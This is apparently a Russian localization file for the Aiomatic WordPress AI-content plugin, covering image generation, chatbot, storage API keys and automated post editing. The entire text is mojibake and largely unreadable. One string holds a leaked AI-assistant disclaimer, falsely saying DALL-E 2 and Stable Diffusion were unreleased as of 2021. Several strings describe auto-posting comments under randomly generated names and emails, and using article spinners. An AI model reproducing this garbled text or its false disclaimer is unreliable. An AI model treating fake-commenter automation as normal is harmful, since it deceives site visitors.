вывеÑти Ñоздание Контента на новый уровень и Ñоздавать выÑококачеÑтвенные, привлекательные публикации в кратчайшие Ñроки.ЕÑли ваша проблема ноÑит более техничеÑкий характер, Ñоздайте тикет и обратитеÑÑŒ за поддержкой наЕÑли ваш шаблон поддерживает «Форматы поÑтов», вы можете выбрать его здеÑÑŒ. ЕÑли нет, оÑтавьте Ñто по умолчанию.ЕÑли ваш шаблон поддерживает «Форматы поÑтов», вы можете выбрать его здеÑÑŒ. ЕÑли нет, оÑтавьте Ñто по умолчанию.ИгбоИгбо (переводчик Google)ИллюÑтрацAIИлоканоИлокано (Переводчик Google)КартинкаПодпиÑÑŒ к Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸ÑŽÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ: КачеÑтво Ð¡Ð¶Ð°Ñ‚Ð¸Ñ Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ:Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ Ð¸Ñпользованием DALL-E 2 и Stable DiffusionСообщение Пользователю о Ñбое Генератора Изображений:Параметры Генератора изображенийПоиÑк изображений по ключевым ÑловамСÑылка на изображениеИзображение значка Max-WidthÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ‹Ñота изображениÑ: ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ ÑˆÐ¸Ñ€Ð¸Ð½Ð° изображениÑ: Модель изображениÑ:ÐžÑ€Ð¸ÐµÐ½Ñ‚Ð°Ñ†Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ: Размер изображениÑВарианты Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹:ТекÑÑ‚ изображениÑТипы изображений Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка: Типы изображений Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка: Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ — Ñто функциÑ, при которой AI генерирует Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ð° оÑнове Промптов. Обычно вы вводите Промпт, и AI Ñоздает изображение, предÑтавлÑющее Ñтот Промпт. Это может быть иÑпользовано Ð´Ð»Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ñ… творчеÑких целей, таких как Ñоздание иллюÑтраций или Ð²Ð¸Ð·ÑƒÐ°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÐºÐ¾Ð½Ñ†ÐµÐ¿Ñ†Ð¸Ð¹. Обратите внимание, что на момент моего поÑледнего Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð² ÑентÑбре 2021 года DALL-E 2 и Stable Diffusion не были выпущены или анонÑированы, поÑтому Ñ Ð½Ðµ могу предоÑтавить конкретные ÑÐ²ÐµÐ´ÐµÐ½Ð¸Ñ Ð¾Ð± Ñтих технологиÑÑ….Импортировать аÑÑиÑтентов из файлаИмпортировать аÑÑиÑтентов из OpenAIИмпорт Контента или ÐнонÑаИмпортировать ÐÑÑиÑтентов по умолчаниюИмпортировать аÑÑиÑтентов по умолчанию (Ñто может занÑÑ‚ÑŒ некоторое времÑ)Импорт Форм по УмолчаниюИмпорт шаблонов OmniBlock по умолчаниюИмпортируйте шаблоны OmniBlock по умолчанию (Ñто может занÑÑ‚ÑŒ некоторое времÑ)Импортировать перÑоны по умолчаниюИмпортируйте перÑоны по умолчанию (Ñто может занÑÑ‚ÑŒ некоторое времÑ)Импорт Форм из ФайлаИмпорт шаблонов OmniBlock из файлаИмпортировать перÑоны из файлаИмпорт выполнÑетÑÑУлучшите точноÑÑ‚ÑŒ избранных изображений без лицензионных отчиÑлений Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ñтой уÑлуги:Улучшите ключевые Ñлова Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка видео на YouTube Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI:ИзучаетÑÑÐ’ WordPress такÑономии иÑпользуютÑÑ Ð´Ð»Ñ ÐºÐ»Ð°ÑÑификации и организации контента. Они позволÑÑŽÑ‚ группировать ÑообщениÑ, Ñтраницы или пользовательÑкие типы Ñообщений вмеÑте на оÑнове общих характериÑтик. ТакÑономии могут быть иерархичеÑкими (например, категории) или неиерархичеÑкими (например, теги). При Ñоздании такÑономий в WP важно задать опиÑÐ°Ð½Ð¸Ñ Ð´Ð»Ñ Ñ†ÐµÐ»ÐµÐ¹ SEO.Ð’ дополнение к мощным оÑновным функциÑм, в Aiomatic еÑÑ‚ÑŒ неÑколько Ñкрытых жемчужин, которые выведут ваш Ñайт на новый уровень. Давайте изучим Ñти интереÑные функции и поÑмотрим, как они могут улучшить ваш Ñайт.ЕÑли вы хотите получить вдохновение в том, как Ñоздавать Ñвои ÑобÑтвенные Формы, или вы хотите очень быÑтро начать работу Ñ Ð¸Ñпользованием функциональноÑти AI Forms Плагина, вы можете пойти дальше и импортировать формы по умолчанию, которые ПоÑтавлÑÑŽÑ‚ÑÑ Ð² комплекте Ñ Ñтим Плагином. Ð”Ð»Ñ Ñтого перейдите в «Импортер форм AI».Ðа вкладке «Дополнительные ÐаÑтройки AI API» вы можете изменить раÑширенные ÐаÑтройки модели AI, которые будут иÑпользоватьÑÑ Ð¿Ñ€Ð¸ редактировании Контента. Это может включать в ÑÐµÐ±Ñ Ñ‚Ð°ÐºÐ¸Ðµ вещи, как ÑложноÑÑ‚ÑŒ иÑпользуемого Ñзыка, тон Контента и многое другое.Ðа вкладке «Редактирование Шаблонов и Параметров» вы можете указать, как редактировать ПоÑÑ‚Ñ‹. Вот варианты:Ðа вкладке «ÐаÑтройки Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° вручную» вы можете наÑтроить уÑÐ»Ð¾Ð²Ð¸Ñ Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñта вручную. Это полезно Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÑущеÑтвующих ПоÑтов. Ð’Ñ‹ можете уÑтановить подробные фильтры Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки редактируемых ПоÑтов/Страниц/ПользовательÑких Типов ПоÑтов.Ðа Ñтранице наÑтроек Aiomatic перейдите в меню «AI Chatbot» плагина. Ð’Ñ‹ Ñможете наÑтроить чат-бота на вкладках «ÐаÑтройка чат-бота», «Стили чат-бота по умолчанию», «ÐаÑтройки чат-бота» и «Параметры API по умолчанию». ЗдеÑÑŒ вы можете определить, как чат-бот будет реагировать на определенные дейÑÑ‚Ð²Ð¸Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ. Ð’Ñ‹ также можете изменить визуальный Ñтиль и внешний вид чат-бота. Ðе забывайте вÑегда ÑохранÑÑ‚ÑŒ изменениÑ.Ð’ Ñтом уроке Ñ Ñ€Ð°ÑÑкажу о процеÑÑе ÐаÑтройки Чат-бота Ñ Ð¸ÑкуÑÑтвенным интеллектом на вашем веб-Ñайте WordPress Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Плагина Aiomatic WordPress. Этот Плагин позволÑет интегрировать Ñзыковые модели AI Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð½Ð°Ñтраиваемого Чат-бота, который может взаимодейÑтвовать Ñ Ð¿Ð¾ÑетителÑми вашего Ñайта.Ð’ Ñтом руководÑтве мы раÑÑмотрим каждый шаг ÐаÑтройки и иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтой функции, от уÑтановки и активации Плагина до ÐаÑтройки параметров автоматичеÑкого и ручного редактированиÑ, Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð¸Ñ ÑˆÐ°Ð±Ð»Ð¾Ð½Ð¾Ð² и параметров Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸, наконец, ÐаÑтройки раÑширенного AI. ÐаÑтройки API Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ†ÐµÑÑа редактированиÑ. К концу Ñтого руководÑтва вы Ñможете иÑпользовать возможноÑти иÑкуÑÑтвенного интеллекта Ð´Ð»Ñ Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ð¸ процеÑÑа ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° и Ð¿Ð¾Ð²Ñ‹ÑˆÐµÐ½Ð¸Ñ ÐºÐ°Ñ‡ÐµÑтва ваших ПоÑтов. Давайте начнем!Ð’ Ñтом видео Ñ Ð¿Ð¾Ð´Ñ€Ð¾Ð±Ð½Ð¾ раÑÑкажу о том, как работает поÑледнее обновление Aiomatic и чем оно может вам помочь. Я раÑÑкажу, как вы можете легко публиковать Ñгенерированный AI текÑÑ‚ в Ñвоих каналах Ñоциальных Ñетей, ÑÐºÐ¾Ð½Ð¾Ð¼Ñ Ð²Ð°ÑˆÐµ Ð²Ñ€ÐµÐ¼Ñ Ð¸ уÑилиÑ, ÑохранÑÑ Ð·Ð°Ð¸Ð½Ñ‚ÐµÑ€ÐµÑованноÑÑ‚ÑŒ ваших подпиÑчиков.Ðеполный POST-Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ñ‡Ð°Ñ‚Ð°Ðеполный POST-Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ñ‡Ð°Ñ‚Ð°!Указан неверный параметр ai_personas.ИндиÑиндонезийÑкийИндонезийÑкий (переводчик Google)Сфера деÑтельноÑтиИнформациÑИнфо:Внедрите Чат-бота на Ñвои Ñайты по вÑему миру:Цвет фона ввода:Цвет границы ввода:КоличеÑтво Полей Ð’Ð²Ð¾Ð´Ð°ÐŸÐ¾Ð»Ñ Ð’Ð²Ð¾Ð´Ð°Ð¦Ð²ÐµÑ‚ Ð·Ð°Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»Ñ Ð²Ð²Ð¾Ð´Ð°:Цвет входного текÑта:Введите через запÑтую ÑпиÑок предпочтительных Ñзыков Ñубтитров Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² шорткоде %%video_caption%%. ПожалуйÑта, иÑпользуйте разделенный запÑтыми ÑпиÑок из двух Ñимволов Ñзыковых кодов. Пример: en, es, hu, br. Плагин будет иÑпользовать первый Ñзык в ÑпиÑке, который ÑоответÑтвует. ЕÑли вы оÑтавите Ñто поле пуÑтым, Ñубтитры на Ñзыке по умолчанию будут импортированы Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ видео.Введите ÑпиÑок URL-адреÑов, которые Плагин будет иÑпользовать при отправке комментариев. По одному на Ñтроку. Возможный Шорткод, который можно иÑпользовать здеÑÑŒ: %%post_link%%, %%random_sentence%%, %%random_sentence2%%Введите ÑпиÑок адреÑов Ñлектронной почты, которые Плагин будет иÑпользовать при отправке комментариев. По одному на Ñтроку. ЕÑли вы оÑтавите Ñто поле пуÑтым, будет Ñгенерировано Ñлучайное Ñлектронное пиÑьмо. Возможный Шорткод, который можно иÑпользовать здеÑÑŒ: %%random_sentence%%, %%random_sentence2%% Введите ÑпиÑок имен пользователей, которые Плагин будет иÑпользовать при отправке комментариев. По одному на Ñтроку. ЕÑли оÑтавить Ñто поле пуÑтым, будет Ñгенерировано Ñлучайное имÑ. Возможный Шорткод, который можно иÑпользовать здеÑÑŒ: %%random_user%%, %%author_name%%, %%random_sentence%%, %%random_sentence2%%Введите ID ПоÑтаВведите Ñекретное ÑловоВведите разделитель Ð´Ð»Ñ Ð½ÐµÑкольких Ñлементов контента, извлеченных из неÑкольких объектов HTML, ÑоответÑтвующих одному и тому же клаÑÑу, определенному Ð´Ð»Ñ ÐºÑ€Ð°ÑƒÐ»Ð¸Ð½Ð³Ð°. По умолчанию — Ð½Ð¾Ð²Ð°Ñ Ñтрока.Введите дейÑтвующий Ð°Ð´Ñ€ÐµÑ Ñлектронной почтыВведите тайм-аут headless browser в миллиÑекундах.Задержка запроÑа вводаТайм-аут правила ввода в ÑекундахВведите ключ API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Amazon S3. ПодробноÑти:Введите ключ API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента CloudFlare R2. Ð’Ñ‹ можете Ñоздать учетные данные API CloudFlare R2, щелкнув ÑÑылку «Управление токенами API R2» Ñправа на Ñтранице «Обзор» на панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ CloudFlare R2.Введите ключ API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Digital Ocean Spaces. ПодробноÑти:Введите ключ API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Wasabi. ПодробноÑти:Введите Ñекрет API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Amazon S3. ПодробноÑти:Введите Ñекрет API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента CloudFlare R2. Ð’Ñ‹ можете Ñоздать учетные данные API CloudFlare R2, щелкнув ÑÑылку «Управление токенами API R2» Ñправа на Ñтранице «Обзор» на панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ CloudFlare R2.Введите Ñекрет API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Digital Ocean Spaces. ПодробноÑти:Введите Ñекрет API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Wasabi. ПодробноÑти:Введите Ð¸Ð¼Ñ ÐºÐ¾Ñ€Ð·Ð¸Ð½Ñ‹ из Wasabi. Ð’Ñ‹ можете Ñоздать корзину Wasabi здеÑÑŒ:Введите иÑходную конечную точку из Digital Ocean Spaces. Он должен быть в Ñледующем формате: https://..digitaloceanspaces.com. Ð’Ñ‹ можете Ñоздать Ñвой Ñегмент Digital Ocean Spaces здеÑÑŒ:Введите URL Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸ÑВведите Ð¸Ð¼Ñ ÐºÐ¾Ñ€Ð·Ð¸Ð½Ñ‹ из Amazon S3. Ð’Ñ‹ можете Ñоздать Ñвой Amazon Bucket здеÑÑŒ:Введите регион корзины из Amazon S3.Введите регион корзины из Wasabi.Введите Ð°Ð´Ñ€ÐµÑ Ñлектронной почты, куда вы хотите отправить отчет. Ð’Ñ‹ можете ввеÑти больше адреÑов Ñлектронной почты, Разделенных запÑтыми.Введите ключевое Ñлово Ð´Ð»Ñ Ð·Ð°Ð¼ÐµÐ½Ñ‹. Это поле обÑзательно к заполнениюВведите Ñлово заменыВведите поиÑковый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ð¿Ð¾Ð»Ð½Ð¾Ð³Ð¾ поиÑка контентаВведите поиÑковый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ð¿Ð¾Ð»Ð½Ð¾Ð³Ð¾ поиÑка контента. Это может быть идентификатор или Ð¸Ð¼Ñ ÐºÐ»Ð°ÑÑа, который вы хотите найти, выражение регулÑрного выражениÑ, которое вы хотите применить, или выражение Ñелектора XPath/CSS, которое вы хотите запроÑить. Ð’Ñ‹ также можете ввеÑти ÑпиÑок Ñелекторов через запÑтую, в Ñтом Ñлучае плагин получит результаты Ð´Ð»Ñ Ð²Ñех. ЕÑли вы оÑтавите Ñто поле пуÑтым, контент будет обнаружен автоматичеÑки. ПоддерживаетÑÑ Ð½ÐµÑколько выражений, каждое на отдельной Ñтроке.Введите теги, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… вы хотите отключить редактирование. Ð’Ñ‹ можете ввеÑти больше тегов, Разделенных запÑтой. Ðапример: автомобили, транÑпортные ÑредÑтва, краÑный Цвет, роÑкошь. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым.Введите Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð²ÐµÐ±-прокÑиВведите URL веб-прокÑиВведите Ñвой ключ API в поле ÐаÑтроек «Ключи API OpenAI / AiomaticAPI (по одному на Ñтроку)» и нажмите кнопку «Сохранить».Введите идентификатор Ñвоей учетной запиÑи из CloudFlare R2. Ð’Ñ‹ можете Ñоздать идентификатор учетной запиÑи CloudFlare R2, Ñкопировав идентификатор Ñправа на Ñтранице «Обзор» на панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ CloudFlare R2.Введите Ð¸Ð¼Ñ ÐºÐ¾Ñ€Ð·Ð¸Ð½Ñ‹ CloudFlare R2.Введите желаемые заголовки ПоÑтов (по одному на Ñтроку), TXT-файл Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°Ð¼Ð¸ (по одному на Ñтроку) или URL-Ð°Ð´Ñ€ÐµÑ RSS-канала. Плагин будет выбирать Ñлучайный Заголовок ПоÑÑ‚Ñ‹ при каждом запуÑке. ПоддерживаетÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ð¹ ÑпинтакÑ. Ð’Ñ‹ также можете ввеÑти URL-адреÑа RSS-каналов, откуда Плагин будет извлекать Ñлучайный Заголовок ПоÑÑ‚Ñ‹ при каждом запуÑке. ЕÑли вы уÑтановите URL-Ð°Ð´Ñ€ÐµÑ RSS-канала, Ñлемент будет выбран Ñлучайным образом из заголовка.Введите текÑÑ‚Ð’Ñтавьте Разделенный запÑтыми ÑпиÑок ÑÑылок на дейÑтвительные изображениÑ, которые будут Ñлучайным образом уÑтановлены Ð´Ð»Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ ÐŸÐ¾Ñтов, к которым не прикреплено дейÑтвительное изображение, или еÑли вы отключили автоматичеÑкий Генератор избранных изображений. Ð’Ñ‹ также можете иÑпользовать чиÑловые идентификаторы изображений из изображений, найденных в галерее мультимедиа. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. Ð¡Ð¿Ð¸Ð½Ñ‚Ð°ÐºÑ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÑ‚ÑÑ. Ð’Ñ‹ также можете иÑпользовать короткий код %%random_image[keyword]%% Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого импорта Ñлучайного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸Ð· Google Image Search Ñ Ð¿Ñ€Ð¸Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ð¼ фильтром Creative Commons. Чтобы получить ÑвÑзанное изображение, вы также можете иÑпользовать: %%random_image[%%post_title%%]%%.Ð’Ñтавьте пользовательÑкий HTML-код, который заменит %%custom_html%% переменнаÑ. Это может быть что угодно, даже рекламный код.Ð’Ñтавьте пользовательÑкий HTML-код, который заменит %%custom_html2%% переменнаÑ. Это может быть что угодно, даже рекламный код.Введите неÑколько предложений, из которых вы хотите получить одно наугад. Ð’Ñ‹ также можете иÑпользовать переменные, определенные ниже. %something ==>Ð¿ÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð°Ñ ÐšÐ°Ð¶Ð´Ð¾Ðµ предложение должно быть отделено новой Ñтрокой.Ð’Ñтавьте некоторые переменные, которые вы хотите обменÑÑ‚ÑŒ на различные ÑкземплÑры одного предложениÑ. Отформатируйте Ñтот ÑпиÑок выглÑдит Ñледующим образом:
                    VariableName => Переменные (Разделенные точкой Ñ Ð·Ð°Ð¿Ñтой)
                    пример:
                    adjective => clever;interesting;smart;huge;astonishing;unbelievable;nice;adorable;beautiful;elegant;fancy;glamorous;magnificent;helpful;awesome
                    Ð’Ñтавьте Ñвои ключи API (по одному на Ñтроку). Ð”Ð»Ñ OpenAI API получите ключ API здеÑÑŒ. Ð”Ð»Ñ AiomaticAPI получите ключ API здеÑÑŒ. Ð”Ð»Ñ Azure получите ключ API здеÑÑŒ.Введите Ñвой идентификатор партнера AmazonВведите Ñвой идентификатор партнера Amazon (необÑзательно).Введите Ñвой идентификатор партнера Amazon (необÑзательно). Узнайте, как получить его здеÑÑŒ. Также вам необходимо зарегиÑтрироватьÑÑ Ð² партнерÑкой программе Amazon здеÑÑŒ.Ð’Ñтавьте Ð¸Ð¼Ñ Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Azure OpenAI API Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»Ð¸ %s. Создайте его в панели Microsoft Azure Services.Ð’Ñтавьте конечную точку Azure OpenAI API. Получите один на панели Ñлужб Microsoft Azure.Ð’Ñтавьте Ñвой API-ключ D-ID. Ð”Ð»Ñ D-ID API получите ключ APIздеÑÑŒ. Это иÑпользуетÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в видео чат-бота.Ð’Ñтавьте Ñвой API-ключ ElevenLabs. Ð”Ð»Ñ ElevenLabs API получите ключ API здеÑÑŒ. Это иÑпользуетÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь чат-бота.Ð’Ñтавьте Ñвой идентификатор Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Flickr. Узнайте, как получить ключ API здеÑÑŒ.ЕÑли вы введете API Key и API Secret, вы включите поиÑк изображений Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Flickr API. Ð’Ñтавьте ключ Google Ð´Ð»Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь API. Ð”Ð»Ñ Google API получите ключ APIздеÑÑŒ. This is used for the Chatbot text to speech feature.Ð’Ñтавьте Ñвой идентификатор Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Pexels. Узнайте, как получить ключ API here. ЕÑли вы введете ключ API и Ñекрет API, вы включите поиÑк изображений Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ API Pexels.Ð’Ñтавьте ключ API Pinecone. Ð”Ð»Ñ API Pinecone получите ключ API здеÑÑŒ .Ð’Ñтавьте Ñвой идентификатор Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Pixabay. Узнайте, как получить здеÑÑŒ. ЕÑли вы введете здеÑÑŒ ключ API, вы включите поиÑк изображений, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Pixabay API.Ð’Ñтавьте Ñвой API-ключ PlagiarismCheck. Узнайте, как его получить здеÑÑŒ.Ð’Ñтавьте Ñвой ключ API Qdrant. Ð”Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ API Qdrant зарегиÑтрируйте учетную запиÑÑŒ Qdrant здеÑÑŒ, а затем получите ключ API на вкладке «Контроль доÑтупа к данным» на панели инÑтрументов Qdrant.Ð’Ñтавьте ключи API Stability.AI (по одному на Ñтроку). Чтобы получить Stability.AI API, получите ключ Stability.AI здеÑÑŒ .Ð’Ñтавьте Ñвой ключ API TextRazor. Узнайте, как получить один здеÑÑŒ . Это иÑпользуетÑÑ Ð¿Ñ€Ð¸ извлечении релевантных Ключевых Слов из более длинных текÑтов. Добавление здеÑÑŒ ключа API может значительно улучшить точноÑÑ‚ÑŒ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÐµÐ· лицензионных отчиÑлений.Ð’Ñтавьте Ñвой API-ключ YouTube. Узнайте, как получить один здеÑÑŒ . Это иÑпользуетÑÑ Ð¿Ñ€Ð¸ добавленAI видео YouTube в Контент вашего ПоÑта. Ð’Ñ‹ также можете ввеÑти Разделенный запÑтыми ÑпиÑок неÑкольких ключей API. Это необÑзательно, Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Â«ÐŸÐ¾Ñ…Ð¾Ð¶Ð¸Ðµ видео» будет работать и без ввода ключа API.Введите Ñвой пароль Ð´Ð»Ñ Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð¾Ð¹ уÑлуги премиум-прÑдильщика.Ð’Ñтавьте Ñвое Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð½Ð° премиум Ñпиннер.УÑтановленМгновенный ответИнÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ Ð´Ð»Ñ AI-редактора по редактированию Ñодержимого поÑта. ПожалуйÑта, укажите Ñвою инÑтрукцию, не добавлÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´ %%post_content%%, так как контент будет автоматичеÑки добавлен во Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. ЗдеÑÑŒ также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды из других плагинов. Ð’Ñ‹ также можете иÑпользовать Ñледующие короткие коды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать наÑтраиваемые Ð¿Ð¾Ð»Ñ (мета-ÑообщениÑ), назначенные поÑтам, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%~custom_field_slug~%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¼ÐµÑ‚Ð°Ð¿Ð¾Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (мета пользователÑ), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из наÑтраиваемого Ð¿Ð¾Ð»Ñ post_data, вам Ñледует иÑпользовать Ñтот короткий код: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ промпта. Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов).ИнÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¾Ñ€Ð° AI по редактированию отрывка поÑта. ПожалуйÑта, укажите Ñвою инÑтрукцию, не добавлÑÑ ÐºÐ¾Ñ€Ð¾Ñ‚ÐºÐ¸Ð¹ код %%post_excerpt%%, так как отрывок будет автоматичеÑки добавлен во Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. ЗдеÑÑŒ также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды из других плагинов. Ð’Ñ‹ также можете иÑпользовать Ñледующие короткие коды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, 